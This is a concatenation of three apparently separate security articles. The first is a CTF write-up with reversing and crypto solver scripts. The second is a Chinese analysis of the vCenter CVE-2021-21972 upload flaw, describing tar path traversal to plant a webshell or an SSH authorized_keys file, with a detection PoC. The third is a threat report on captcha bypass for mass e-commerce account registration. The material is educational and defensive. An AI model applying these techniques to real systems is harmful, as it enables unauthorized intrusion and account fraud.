> flag{7c217708c5293a3264bb136ef1fadd6e}
## REVERSE
### 1-bit-missile
We know that it is a `bios rom` from the result of `strings ./rom`.
So we run it using `qemu-system-i386 -nographic -bios ./rom` and debugging
with `qemu-system-i386 -nographic -bios ./rom -s -S`.
After attaching to the rom, we're able to dump the code in gdb using `dump
binary memory dump.bin 0x100000 0xffffff`
> we know the start address is 0x100000 because " _Jumping to boot code at
> 00100000(07fd7000)_ "
Then we open dump.bin with IDA and rebase it to 0x100000. After searching
strings, we find an interesting function like:
void __cdecl __noreturn sub_10009E(char a1)
{
char *a1a; // [esp+4h] [ebp-14h]
print("FLAG if hit confirmed:");
if ( (unsigned int)(data[19] ^ data[24]) < data[32] || (unsigned int)(data[19] ^ data[24]) > data[33] )
{
print("address out of scope!");
sub_100160();
}
a1a = (char *)malloc(64);
copy_str(a1a, (char *)(data[19] ^ data[24]));
if ( *a1a )
print(a1a);
else
print("MISSED!");
sub_100160();
}
So we set a breakpoint at `0x100128`, which is:
seg000:00100122 push [ebp+a2] ; a2
seg000:00100125 push [ebp+a1] ; a1
seg000:00100128 call copy_str
seg000:0010012D add esp, 10h
When we take a look in the debugger, we found the arg2 in `copy_str` points
NULL, that's why the rom always prints `MISSED!`.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────[ REGISTERS ]──────────────────────
EAX 63 —▸ 0 ◂— 0x0
EBX 0x7ff3798 —▸ 0x7fef0d9 —▸ 0x505f5342 —▸ 0 ◂— 0x0
ECX 0x1086e8 —▸ 0x26c0 —▸ 0 ◂— 0x0
EDX 0 ◂— 0x0
EDI 0x100000 —▸ 0x906622eb —▸ 0 ◂— 0x0
ESI 0x1b8 —▸ 0 ◂— 0x0
EBP 0x10d498 —▸ 0x7ff4fd8 —▸ 0xa0000 —▸ 0 ◂— 0x0
ESP 0x10d470 —▸ 0x1086a8 —▸ 0 ◂— 0x0
EIP 0x100128 —▸ 0x3d68e8 —▸ 0 ◂— 0x0
───────────────────────[ DISASM ]───────────────────────
► 0x100128 call 0x103e95
0x10012d add esp, 0x10
0x100130 mov eax, dword ptr [ebp - 0x14]
0x100133 movzx eax, byte ptr [eax]
0x100136 test al, al
0x100138 jne 0x10014c
0x10013a sub esp, 0xc
0x10013d push 0x10500d
0x100142 call 0x103ca3
0x100147 add esp, 0x10
0x10014a jmp 0x10015a
───────────────────────[ STACK ]────────────────────────
00:0000│ esp 0x10d470 —▸ 0x1086a8 —▸ 0 ◂— 0x0
01:0004│ 0x10d474 —▸ 0xc8000 —▸ 0 ◂— 0x0
02:0008│ 0x10d478 —▸ 63 —▸ 0 ◂— 0x0
03:000c│ 0x10d47c —▸ 1 —▸ 0 ◂— 0x0
04:0010│ 0x10d480 —▸ 0x1b8 —▸ 0 ◂— 0x0
05:0014│ 0x10d484 —▸ 0x1086a8 —▸ 0 ◂— 0x0
06:0018│ 0x10d488 —▸ 0xc8000 —▸ 0 ◂— 0x0
07:001c│ 0x10d48c —▸ 64 —▸ 0 ◂— 0x0
Breakpoint *0x100128
pwndbg> x/s 0xc8000
0xc8000: ""
So we search `flag` and found that:
pwndbg> find /w 0xa0000, 0xe0000, 0x67616c66
0xc0000
1 pattern found.
pwndbg> x/3s 0xc0000
0xc0000: "flag{xxxxxxxxxx"...
0xc000f: 'x' <repeats 15 times>...
0xc001e: "xxxxxx}"
Clearly, if we change `data[19] ^ data[24] == 0xc0000`, we will get flag.
There are two options:
1. modify 0xef5a3f92 to 0xef5abf92(data[24])
2. modify 0xef56bf92 to 0xef563f92(data[19])
Finally, option 2 works.
1-bit-missile nc arcade.fluxfingers.net 1816
Enter target byte [0 - 262143]: 194401
]> 10111111 <[
Enter target bit: [0 - 7]: 7
}X> ---------------------------------------{0}
]> 00111111 <[
......
flag{only_cb_can_run_this_simple_elf}
### babyre
The program do a simple sequential xor encryption to our input and compare it
with a const string. Just decrypt it to get flag
enc = "\x0a\x0d\x06\x1c\"8\x18&6\x0f9+\x1cYB,6\x1a,&\x1c\x17-9WC\x01\x07+8\x09\x07\x1a\x01\x17\x13\x13\x17-9\x0a\x0d\x06F\\}"
encl = map(ord, list(enc))
for i in range(len(encl) - 2, -1, -1):
encl[i] = encl[i+1] ^ encl[i]
print repr(''.join(map(chr, encl)))
### forgetful commander
The program has encrypted code. And the check function is called after
`__libc_start_main` function.
The entry function compare `/proc/self/exe` and `/proc/self/maps` to get the
address where program is loaded. After that, program decrypt itself and start
to execute decrypted code.
I debug the program and find the verification happens in the function at
offset 0x2190. Just reverse it.
The decryption is quite simple as below.
enc = "\xdf\x98\xe2\x08\xcc\xbb\xeb\xac\x8c\xb2\xaa\xca\x85\xe3\xb2]\xea\x87\x99\xc1Kx\xb8\xe9\xea\x1d^\xd5S\xf8\x0f\x09\xd9\xde\x05|i\x1am\xbdo\x8c4\xd4tN\x1c$]\x83\x1dJ\xa7\xc8l\xc2C\xb6"
table = 'O\xb0\xab6\x1e\xb9Y\x88\xa1\xe1\xf4\xef/\x97w\x834\xa8\xe1po,\xbe\x06\xc6\xb7\xd2\xa3$\x1e\xf1x\xed\xdcO\x9e\xa0\xb2\xf6\x10\xdf\xbe3\xb4\x88\xf8\xeb\xe2\xc0\x1c\xed\x07\x0e\xe5\xb4\xde\x07\xeej\\\xb3\xe87q\x8b\xf5n\xf33\xf0\x86P\xf5\x15\x8b\xed\x84w\x1e{\x02\xe0V^\x93\xba\x1a\x8c\x0f\xd2\xeb\x16\xb3\x83\x98\xfc\xd2\x81\x87\xf3\xa0\'ZO\xe28o\xa0l\xdd\x1d\x11ei\xde\xe7\'\x89\xe2\x95\xb6H9\x00\xf1\x8b`\x1f\xfd\x8bs\x8f}h\xd7:\x19m:\x02\x8a\xc5\x90%\x8c\'wt\x8c\xeb\x90\x1fz%\xf8ja\x8cL\xa6V\x0c\xfbJe\xb4\xeb\x12\x9d\'\xb7B\x8d\x9d\xecv\x96\x8e\xca\x86\x0f\xb2\xc4\x14\x9f\x05\xba\xa7Cz\x7f+\xf936\x1e\xcfUc\x8a\xe2;h\x02?\x18\xd9\xbbm\x8d\xe5K\xbe\x8flX\x1d\xfe\x17b\xb8\xa6\x8f\xb0\xf7+\x14\xc0\xb6\xf0,%\x02/+y\xd8AfR{\xc6\x88rG1\x0c7n4\xe2,\xd4\x95Ch\t&\xbb\x93$?ZfA\xc4\xdc\xaf\xf4\xa2\xa0\x00U#\x1a\t<Q\xa0\xfa\xa6\xdaL)Zm$\x94\x98`\xcb\x19N\xe72|\x98Ln\n!\xcd\x8e\xa8ss\x15\x0bU\xad\xb9"S#3?(\xb5PdV\xc8]N\x89*_\xe5\x94\xe6{\xc4\x15\x1bBpK\x19\x0f\xec\rO\x9a\x1fm?\x10\x1e\x03\x98\x8b\x1bV"'
for j in range(0x40):
res = ''
for i in range(0x3a):
res += chr(ord(enc[i]) ^ ord(table[j + i * 5]))
print res
Note that the value of `j` is decided by following code. The result is
relative to [**trapped
flag**](https://en.wikipedia.org/wiki/Trap_flag)(0x100). If the program is
under debug the value of j is 0x40, ohterwise it's 5. I just brutefore it XD.
0x00002222 9c pushfd
0x00002223 5a pop edx
0x00002224 89d1 mov ecx, edx
0x00002226 81e100010000 and ecx, 0x100
0x0000222c 31ca xor edx, ecx
0x0000222e c1c902 ror ecx, 2
0x00002231 31ca xor edx, ecx
0x00002233 52 push edx
0x00002234 89c2 mov edx, eax
0x00002236 9d popfd
0x00002237 0f44d1 cmove edx, ecx // j
### Snake
This challenge is about QT Reverse engineering. The snake game is not verified
until we enter a valid license.
It's easy to find the verification by searching error message `'This is a
valid License'`. The program will decrypt a png encrypted with AES if the
license is valid. So we need to find the correct input.
The check function is a QT slot function, which is triggered by relative
`signal` function(fileoffset 0x40E0). The signal function will call
`activate`, which will find slot function with data stored in QMetaObject, and
then call it.
There are two way to find the slot function:
1. debug into activate function and find the call
2. find with QMetaObject just as QT does.
I choose the first way and find the check function at fileoffset 0x6190
Not very complicated, decrypt it:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int enc_byte(c, magic) {
char tmp = ((magic >> 2) | (magic << 6)) ^ 0xAE;
tmp = ((tmp << 5) | (tmp >> 3)) ^ 0x66;
char res = c ^ ~((tmp >> 1) | (tmp << 7) | (c >> 4));
return res;
}
int decrypt(char *enc, char *buf, char fb) {
char magic = fb;
int i, j;
size_t nbytes = strlen(enc);
printf("decrypting %d bytes\n", nbytes);
for (i = 0; i < nbytes; i++) {
for (j = 0x20; j < 0x7f; j++) {
if (enc_byte(j, magic) == enc[i]) {
buf[i] = j;
magic = ~enc[i];
break;
}
}
}
return 0;
}
int main() {
char s[] = {1, 0x95, 'f', '>', 0x1b, 'V', 'd', ',', '(', '\n', 0x9a, 4, 0xad, 0xc, 0xc8, 0xd9, 0};
char res[0x100] = {0};
int fb;
for (fb = 0x20; fb < 0x7f; fb++) {
if (enc_byte(fb, fb) == s[0]) {
printf("first byte: 0x%x\n", fb);
break;
}
}
decrypt(s, res, fb);
puts(res);
return 0;
}
and we get a license `1Lov3oldArc4de!!`
enter it, and dump the png from memory(need dereference to some pointers of QT
object, but not very hard).
## CRYPTO
### Relations
Relations (Category: Crypto)
Author(s): kai Solves: 73
Difficulty: easy
Two completely unrelated operations on completely unrelated values, right?
nc arcade.fluxfingers.net 1821
This task just is a service about AEC-ECB encrypt the flag and give back the
base64 encoded ciphertext. The key changes every time.
Let us have a look at the service.
$ nc arcade.fluxfingers.net 1821
------------------------------ Welcome to theory world
------------------------------
------------------------------ Possible Oracles
(XOR) Choose XOR Oracle
(ADD) Choose ADD Oracle
(DEC) For trying to decrypt
-----------------------------*
XOR
Please choose the operand in hex >>> 00
Ciphertext is 01CbySNWb0TnVv/V6M7NVF229tgcV7QDEY6CIG5oyrcq47Z3eaVYKDzmj1a+MG6umsx106NgRvCf
b6uimScNcw==
------------------------------ Possible Oracles
(XOR) Choose XOR Oracle
(ADD) Choose ADD Oracle
(DEC) For trying to decrypt
-----------------------------*
ADD
Please choose the operand in hex >>> 00
Ciphertext is 01CbySNWb0TnVv/V6M7NVF229tgcV7QDEY6CIG5oyrcq47Z3eaVYKDzmj1a+MG6umsx106NgRvCf
b6uimScNcw==
------------------------------ Possible Oracles
(XOR) Choose XOR Oracle
(ADD) Choose ADD Oracle
(DEC) For trying to decrypt
-----------------------------*
DEC
Enter the key base64 encoded >>> YWFhYWFhYWFhYWFhYWFhYQ==
Decryption is �۔N\_�@a�rмֹs�������`4�-U/�~�
:������H��������~8�]�%
------------------------------ Possible Oracles
(XOR) Choose XOR Oracle
(ADD) Choose ADD Oracle
(DEC) For trying to decrypt
-----------------------------*
DEC
Enter the key base64 encoded >>> 111
Traceback (most recent call last):
File "/home/chall/rka.py", line 113, in <module>
main()
File "/home/chall/rka.py", line 106, in main
key = choose_key()
File "/home/chall/rka.py", line 64, in choose_key
return base64.decodestring(key)
File "/usr/lib/python2.7/base64.py", line 328, in decodestring
return binascii.a2b_base64(s)
binascii.Error: Incorrect padding
^C
$ nc arcade.fluxfingers.net 1821
------------------------------ Welcome to theory world
------------------------------
------------------------------ Possible Oracles
(XOR) Choose XOR Oracle
(ADD) Choose ADD Oracle
(DEC) For trying to decrypt
-----------------------------*
DEC
Enter the key base64 encoded >>> ABCD
Traceback (most recent call last):
File "/home/chall/rka.py", line 113, in <module>
main()
File "/home/chall/rka.py", line 107, in main
aes = pyaes.AESModeOfOperationECB(key)
File "/home/chall/pyaes/aes.py", line 304, in __init__
self._aes = AES(key)
File "/home/chall/pyaes/aes.py", line 134, in __init__
raise ValueError('Invalid key size')
ValueError: Invalid key size
So the ADD,XOR is for the key,and the key size is 16 bytes, you can check it
by XOR "10"+"00"*16 and xor "10", and no overflow with the key, I think it may
first XOR or ADD, then &"ff"*16. we can query the oracle byte by byte to get
the key, for example if
base64(aes_ecb(byteA^key))==base64(aes_ecb(byteA+key)), we can get the one
byte key at that position.But this is the single function, we might get more
than one key. Just limit the key range and decrypt the cipher offline.
script to get the last 15 byte possible key and ciphertext.
from pwn import *
from base64 import b64decode,b64encode
import sys
#context.log_level = "debug"
io = remote("arcade.fluxfingers.net",1821)
def server(commmand,number):
io.recvuntil("-----------------------------*\n")
io.sendline(commmand)
io.recvuntil("Please choose the operand in hex >>> ")
io.sendline(number)
data = io.recvuntil("------------------------------\n")
return data.split("Ciphertext is ")[1].split("\n")[0]
def xor_add(xor_key,add_key):
byte = []
for i in range(0,256):
for loop in range(0,len(xor_key)):
if i^xor_key[loop] != i + add_key[loop]:
break
if loop ==len(xor_key)-1:
byte.append(chr(i))
print repr(byte)
return byte
key = []
io.recvuntil("-----------------------------*\n")
io.sendline("XOR")
io.recvuntil("Please choose the operand in hex >>> ")
io.sendline("00")
data = io.recvuntil("------------------------------\n")
print data
for loop in range(0,15):
flag = False
xor_aes_result=[]
add_aes_result=[]
xor_key=[]
add_key=[]
for i in range(1,256):
xor_aes_result.append(server("XOR",hex(i)+loop*"00"))
for j in range(1,256):
data = server("ADD",hex(j)+loop*"00")
if data in xor_aes_result:
xor_key.append(xor_aes_result.index(data)+1)
add_key.append(j)
flag = True
# print xor_key,add_key
if flag:
key.append(xor_add(xor_key,add_key))
else:
key.append(["\xff"])
print key
brute force offline
from base64 import b64decode
c = b64decode("56mMyXpFGdMr48rfyehvxjsuRogij8qydacuhGgDlUepmmnsPnh9hSpfHq9nh/0BSWOkCCt95nQ7JxUmX/0JCg==")
key = [['M'], ['M'], ['Y'], ['\x04', '\x14', '$', '4', 'D', 'T', 'd', 't', '\x84', '\x94', '\xa4', '\xb4', '\xc4', '\xd4', '\xe4', '\xf4'], ['g'], ['@'], ['\n', '*', 'J', 'j', '\x8a', '\xaa', '\xca', '\xea'], ['C'], ['\x05', 'E', '\x85', '\xc5'], ['\x1d'], ['$', '\xa4'], [':'], ['(', '\xa8'], ['\x06'],['\x1d', '\x9d'],['\x00', '\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07', '\x08', '\t', '\n', '\x0b', '\x0c', '\r', '\x0e', '\x0f', '\x10', '\x11', '\x12', '\x13', '\x14', '\x15', '\x16', '\x17', '\x18', '\x19', '\x1a', '\x1b', '\x1c', '\x1d', '\x1e', '\x1f', ' ', '!', '"', '#', '$', '%', '&', "'",
'(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '[', '\\', ']', '^', '_', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '|', '}', '~', '\x7f', '\x80', '\x81', '\x82', '\x83', '\x84', '\x85', '\x86', '\x87', '\x88', '\x89', '\x8a', '\x8b', '\x8c', '\x8d', '\x8e', '\x8f', '\x90', '\x91', '\x92', '\x93', '\x94', '\x95', '\x96', '\x97', '\x98', '\x99', '\x9a', '\x9b', '\x9c', '\x9d', '\x9e', '\x9f', '\xa0', '\xa1', '\xa2', '\xa3', '\xa4', '\xa5', '\xa6', '\xa7', '\xa8', '\xa9', '\xaa', '\xab', '\xac', '\xad', '\xae', '\xaf', '\xb0', '\xb1', '\xb2', '\xb3', '\xb4', '\xb5', '\xb6', '\xb7', '\xb8', '\xb9', '\xba', '\xbb', '\xbc', '\xbd', '\xbe', '\xbf', '\xc0', '\xc1', '\xc2', '\xc3', '\xc4', '\xc5', '\xc6', '\xc7', '\xc8', '\xc9', '\xca', '\xcb', '\xcc', '\xcd', '\xce', '\xcf', '\xd0', '\xd1', '\xd2', '\xd3', '\xd4', '\xd5', '\xd6', '\xd7', '\xd8', '\xd9', '\xda', '\xdb', '\xdc', '\xdd', '\xde', '\xdf', '\xe0', '\xe1', '\xe2', '\xe3', '\xe4', '\xe5', '\xe6', '\xe7', '\xe8', '\xe9', '\xea', '\xeb', '\xec', '\xed', '\xee', '\xef', '\xf0', '\xf1', '\xf2', '\xf3', '\xf4', '\xf5', '\xf6', '\xf7', '\xf8', '\xf9', '\xfa', '\xfb', '\xfc', '\xfd', '\xfe', '\xff']]
for key0 in key[0]:
for key1 in key[1]:
for key2 in key[2]:
for key3 in key[3]:
for key4 in key[4]:
for key5 in key[5]:
for key6 in key[6]:
for key7 in key[7]:
for key8 in key[8]:
for key9 in key[9]:
for key10 in key[10]:
for key11 in key[11]:
for key12 in key[12]:
for key13 in key[13]:
for key14 in key[14]:
for key15 in key[15]:
k = key0+key1+key2+key3+key4+key5+key6+key7+key8+key9+key10+key11+key12+key13+key14+key15
aes = pyaes.AESModeOfOperationECB(k[::-1])
print k[::-1]
m = aes.decrypt(c[:16])+aes.decrypt(c[16:32])+aes.decrypt(c[32:48])+aes.decrypt(c[48:64])
if "flag" in m:
print m
exit(1)
#flag flag{r3l4t3d_k3y_der1iviNg_fuNct1on5_h4ve_to_be_a_l1mit3d_cla55}
### Multiplayer Part 1
description
Multiplayer Part 1 (Category: Crypto)
Author(s): asante, kai Solves: 40
Difficulty: medium
Can you get the pole position of this elliptic racing curve contactless?
nc arcade.fluxfingers.net 1822
Download
three files named parameters.sage,server.sage and points.db.
> parameters.sage
param = { "hacklu":
((889774351128949770355298446172353873, 12345, 67890),
# Generator of Subgroup of prime order 73 bits, 79182553273022138539034276599687 to be excact
(238266381988261346751878607720968495, 591153005086204165523829267245014771),
# challenge Q = xP, x random from [0, 79182553273022138539034276599687)
(341454032985370081366658659122300896, 775807209463167910095539163959068826)
)
}
serverAdress = '0.0.0.0'
serverPort = 23426
(p, a, b), (px, py), (qx, qy) = param["hacklu"]
E = EllipticCurve(GF(p), [a, b])
P = E((px, py))
Q = E((qx, qy))
> server.sage
import asyncore, socket, json, sqlite3, time
FLAG1 = "flag{XXXXXXXXXXX}"
POINT_TRESHOLD = 200
def json_response(code, additional_parameter=""):
response_codes = {
0 : "Point added",
1 : "Collision found",
2 : "Point already included",
3 : 'Wrong input format. Please provide a string like this: {"x": val, "y": val, "c": val, "d": val, "groupID": val})',
4 : "Value mismatch! X != c*P + d*Q",
5 : "Server Error"
}
return '{"Response": "%d", "Message": "%s"%s}' % (code, response_codes[code], additional_parameter)
# Teams should choose a non-guessable groupID
def get_response(x, y, c, d, groupID):
# open connection to database
conn = sqlite3.connect("points.db")
conn.row_factory = sqlite3.Row
conn_cursor = conn.cursor()
# convert sage integers to string to avoid "Python int too large for SQLite INTEGER"
x = str(x)
y = str(y)
c = str(c)
d = str(d)
# Select records that map to the same X value
conn_cursor.execute("SELECT * FROM points WHERE x = :x", {"x": x})
query = conn_cursor.fetchall()
# No record found -> Point is not yet included
if len(query) == 0:
# Insert point into database
conn_cursor.execute("INSERT INTO points (x, y, c, d, groupID) VALUES (?, ?, ?, ?, ?)",
(x, y, c, d, groupID))
# Get number of points added by this group
conn_cursor.execute("SELECT x FROM points WHERE groupID = :gID", {"gID": groupID})
points_found = conn_cursor.fetchall()
add_param = ', "points_found": %d' % len(points_found)
# When they found POINT_TRESHOLD distinguished points and a collision occured, return the colliding values as well
if len(points_found) > POINT_TRESHOLD:
add_param += ', "flag1": "%s"' % FLAG1
if server.collision_found:
# compute x from the collision, second flag is just x (not in flag format)
add_param += ', "collision": %s' % (server.collision)
response = json_response(0, add_param)
else:
# One (or more) records found -> check if they have the same exponents
is_included = False
for row in query:
if row["c"] == c and row["d"] == d:
is_included = True
response = json_response(2)
break
if not is_included:
# Exponents are different -> Collision found, add this point
conn_cursor.execute("INSERT INTO points (x, y, c, d, groupID, collision) VALUES (?, ?, ?, ?, ?, 1)",
(x, y, c, d, groupID))
# Get number of points added by this group
conn_cursor.execute("SELECT x FROM points WHERE groupID = :gID", {"gID": groupID})
points_found = conn_cursor.fetchall()
add_param = ', "points_found": %d' % len(points_found)
# add collision
server.collision_found = True
server.collision = '{"c_1": %s, "d_1": %s, "c_2": %s, "d_2": %s}' % (c, d, row["c"], row["d"])
if len(points_found) > POINT_TRESHOLD:
add_param += ', "collision": %s' % (server.collision)
else:
add_param += ', "collision": "collision found but not enough distinguished points submitted yet"'
response = json_response(1, add_param + ', "c": %s, "d": %s' % (row["c"], row["d"]))
# close db connection and return response
conn.commit()
conn_cursor.close()
conn.close()
return response
class DLogHandler(asyncore.dispatcher_with_send):
def handle_read(self):
try:
json_data = self.recv(8192)
if not json_data:
return
data = json.loads(json_data)
print data
# check if the format is correct
if not ("x" in data and "y" in data and "c" in data and "d" in data and "groupID" in data):
response = json_response(3)
else:
c = Integer(data["c"])
print c
d = Integer(data["d"])
x = Integer(data["x"])
y = Integer(data["y"])
print y
X = E((x, y))
print X
print data
print X
if X == c*P + d*Q:
print data
response = get_response(data["x"], data["y"], data["c"], data["d"], data["groupID"])
else:
print("expected %s = %d*%s + %d*%s, but got %s" % (c*P + d*Q, c, P, d, Q, X))
response = json_response(4)
self.send(response)
except Exception as e:
response = json_response(5, ', "Error Message": "%s"' % e)
class Server(asyncore.dispatcher_with_send):
def __init__(self, host, port):
asyncore.dispatcher.__init__(self)
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
self.bind((host, port))
self.listen(5)
# variable to store some collision
self.collision_found = False
self.collision = {}
def handle_accept(self):
pair = self.accept()
if pair is not None:
sock, addr = pair
print("incoming connection from %s" % repr(addr))
DLogHandler(sock)
if __name__ == '__main__':
load("parameters.sage")
server = Server(serverAdress, serverPort)
asyncore.loop()
From the server.py, we just need to find points that satisfy E((x, y)) == c _P
+ d_ Q, from the parameters.sage we have P,Q,we can easily do it offline and
send 200 points to server with same groupID, then the server give back the
flag. | 社区文章 |
### 0x01. 漏洞介绍
vCenter Server 为 ESXi 的控制中心，可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机。
CVE-2021-21972
是Vcenter的一个未授权文件上传漏洞。该漏洞可以上传文件至vcenter服务器的任意位置。由于该服务System权限，可以任意写，可上传webshell并执行，如果是Linux环境并开放了ssh，可上传公钥直接通过ssh登录。
### 0x02. 漏洞分析
环境搭建过程可以参考：<https://www.miensi.com/352.html>
vCenter Server 的 vROPS 插件的 API 采用spring编写。部分敏感接口未经过鉴权，其中 `uploadova` 接口存在一个上传
OVA 文件的功能：
@RequestMapping(
value = {"/uploadova"},
method = {RequestMethod.POST}
)
public void uploadOvaFile(@RequestParam(value = "uploadFile",required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
logger.info("Entering uploadOvaFile api");
int code = uploadFile.isEmpty() ? 400 : 200;
PrintWriter wr = null;
...
response.setStatus(code);
String returnStatus = "SUCCESS";
if (!uploadFile.isEmpty()) {
try {
logger.info("Downloading OVA file has been started");
logger.info("Size of the file received : " + uploadFile.getSize());
InputStream inputStream = uploadFile.getInputStream();
File dir = new File("/tmp/unicorn_ova_dir");
if (!dir.exists()) {
dir.mkdirs();
} else {
String[] entries = dir.list();
String[] var9 = entries;
int var10 = entries.length;
for(int var11 = 0; var11 < var10; ++var11) {
String entry = var9[var11];
File currentFile = new File(dir.getPath(), entry);
currentFile.delete();
}
logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
}
TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
TarArchiveEntry entry = in.getNextTarEntry();
ArrayList result = new ArrayList();
while(entry != null) {
if (entry.isDirectory()) {
entry = in.getNextTarEntry();
} else {
File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
File parent = curfile.getParentFile();
if (!parent.exists()) {
parent.mkdirs();
目的是将 TAR 文件解压后上传到 `/tmp/unicorn_ova_dir` 目录，直接将 tar 文件名与
`/tmp/unicorn_ova_dir` 拼接并写入文件。
因此文件名中包含 `../` 绕过当前目录限制，上传文件至任意位置。
通常情况下可以在目标服务器上写入 JSP webshell 文件（服务是 System 权限，可以任意文件写），利用工具
<https://github.com/NS-Sp4ce/CVE-2021-21972。>
如果环境为Linux且开放了ssh，可以创建一个包含 `../../home/vsphere-ui/.ssh/authorized_keys` 的 tar
文件并上传，通过ssh登陆：
$ ssh 10.211.55.4 -lvsphere-ui
VMware vCenter Server 7.0.1.00100
Type: vCenter Server with an embedded Platform Services Controller
vsphere-ui@bogon [ ~ ]$ id
uid=1016(vsphere-ui) gid=100(users) groups=100(users),59001(cis)
### 0x03 检测poc
#!/usr/bin/env python
# coding: utf-8
from urllib.parse import urljoin
from pocsuite3.api import POCBase, Output, register_poc, logger, requests
class DemoPOC(POCBase):
vulID = ''
version = '1.0'
author = ['']
vulDate = '2021-02-24'
createDate = '2021-02-24'
updateDate = '2021-02-24'
references = ['']
name = 'VMware vCenter 未授权RCE漏洞'
appPowerLink = ''
appName = 'VMware vCenter'
appVersion = ' 7.0 U1c 之前的 7.0 版本、6.7 U3l 之前的 6.7 版本、 6.5 U3n 之前的 6.5 版本'
vulType = ''
desc = '''
VMware vCenter 未授权RCE漏洞
'''
samples = ['']
install_requires = ['']
def _verify(self):
result = {}
try:
vul_url = urljoin(self.url, "/ui/vropspluginui/rest/services/uploadova")
resp1 = requests.get(self.url)
resp2 = requests.get(vul_url)
if '/vsphere-client' in resp1.text and resp2.status_code == 405:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
except Exception as e:
logger.error(e)
return self.parse_output(result)
def _attack(self):
return self._verify()
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
register_poc(DemoPOC)
### 0x04 修复方式
vmware修复方法比较简单，直接关闭插件。
<https://kb.vmware.com/s/article/82374>
### 0x05 参考
<https://mp.weixin.qq.com/s/tg64Hy8KECjYPHt98vBLcQ>
<https://www.miensi.com/352.html>
<https://github.com/NS-Sp4ce/CVE-2021-21972>
<https://github.com/conjojo/VMware_vCenter_UNAuthorized_RCE_CVE-2021-21972/blob/master/VMware_vCenter_UNAuthorized_RCE.py> | 社区文章 |
# 威胁猎人丨黑产大数据：电商业小号战争
##### 译文声明
本文是翻译文章，文章原作者 威胁猎人，文章来源：weixin.qq.com
原文地址：<http://mp.weixin.qq.com/s/TebUN8P7z4mXnL5oZbX1Qw>
译文仅供参考，具体内容表达以及含义原文为准。
**本文是[威胁猎人（微信公众号：ThreatHunter）](http://mp.weixin.qq.com/s/TebUN8P7z4mXnL5oZbX1Qw)原创文章，转载请联系授权。威胁猎人–专注互联网黑灰产研究，企业业务安全守护者。**
>
> 在互联网灰产中，无论是匆匆过客的羊毛党，还是猥琐发育的养号者，都需要注册大量账号才能从中牟取暴利。因此，注册环节也就成了互联网公司和灰产业者的最前沿战场。各公司的注册页面看看似平淡，但安全的交锋其实在下方暗流涌动。本期报告将重点曝光灰产是如何对电商行业的注册环节进行攻击的。
## 灰产攻击指数
灰产的逐利本性决定它们是非常强调投入产出比的，攻击的时候会优先选择价值更高的对象。国内电商行业公司很多，猎人君从中挑选了比较有代表性的5家：淘宝、京东、当当、唯品会、聚美优品，通过评估这5家的灰产攻击指数来了解灰产的攻击趋势。
灰产攻击指数由以下两项简单加和得出：
**黑市需求度**
评估方法：通过对灰产进行账号交易的渠道进行分析，评估各家账号在黑市的需求强烈程度，10分为最高需求等级。
**灰产攻击力度**
评估方法：抽样一批灰产近期流通的恶意手机号码，检查这批手机号码在各企业已注册账号的比例，10分为最高等级表示100%已注册。
### 灰产攻击综合指数：
通过上述灰产攻击指数可以发现，发现淘宝、京东的灰产攻击指数是要远高于另3家，这与他们在国内电商行业的地位与体量也是相符的。因此，猎人君决定聚焦收集和分析淘宝和京东这两家的灰产攻击情报。
## 灰产攻击手法
### 攻击工具
灰产每天要完成数万甚至数十万的账号注册，通过人工注册的方式是行不通的。灰产必然会开发针对注册环节的自动化攻击工具，以此提升攻击效率降低攻击成本。如果能拿到灰产当前在使用的主流攻击工具，就可以分析出灰产的攻击手法、所使用到的资源等情报。
猎人君在与相关人士进行多番试探性友好交流后拿到多款针对淘宝、京东的攻击工具，部分截图如下。
* 淘宝账号注册攻击工具：
* 京东账号注册攻击工具：
### 攻击工具分析
猎人君对淘宝和京东的攻击工具进行了多个维度的对比分析，结果如下：
####
## 攻击技术手法对比
淘宝和京东的攻击工具在技术手法上存在较大差异。京东的注册工具都是直接通过 HTTPS
协议实现，属于协议破解类；而淘宝更多是通过控件操作浏览器元素实现，属于模拟操作类。这种差异很大程度上是由于淘宝和京东在人机识别这块采取了不同的方案导致。
从京东和淘宝的的注册页面可以看出，人机识别这块京东采用的是传统的字符型图片验证码，攻击工具只需接入打码平台即可解决。
而淘宝采用的则是需人机交互的滑块验证码，网页端会捕获用户的鼠标滑动轨迹，本地做一系列的运算后发送到服务端，由服务端进行人机识别。进行运算的本地js代码做了混淆，在一定程度上也提升了对注册接口协议进行破解的技术门槛，导致灰产转向通过模拟点击的方式来批量注册。
####
## 人机识别
### 字符型图片验证码
字符型图片验证码属于较传统的人机识别方法，在其刚出现的时候确实有一定效果，但随着打码平台的出现（如：若快/联众等），这种验证码被打码平台以众包的形式解决。近两年随着深度学习技术在图像识别领域突飞猛进，以京东这种验证码为例，实测每次打码平台都是在1秒以内返回识别后的验证码，已经做到完全自动化识别。
### **滑块验证码**
滑块验证码的出现是为了解决传统图片验证码容易被以接入打码平台的方式绕过的问题，它要求用户参与交互，捕获交互过程中鼠标的移动轨迹。它的理论依据是通过程序模拟的鼠标移动轨迹会和正常人的轨迹不一样，通过对移动轨迹进行分析来识别是正常用户在操作还是机器在操作。
想法很美好，但现实很残酷。以上图淘宝的的滑块验证码为例，在IE内核下模拟鼠标移动轨迹时，只需简单改变下Y轴避免划出水平直线即可通过验证，在webkit内核下甚至划出水平直线也可通过验证。
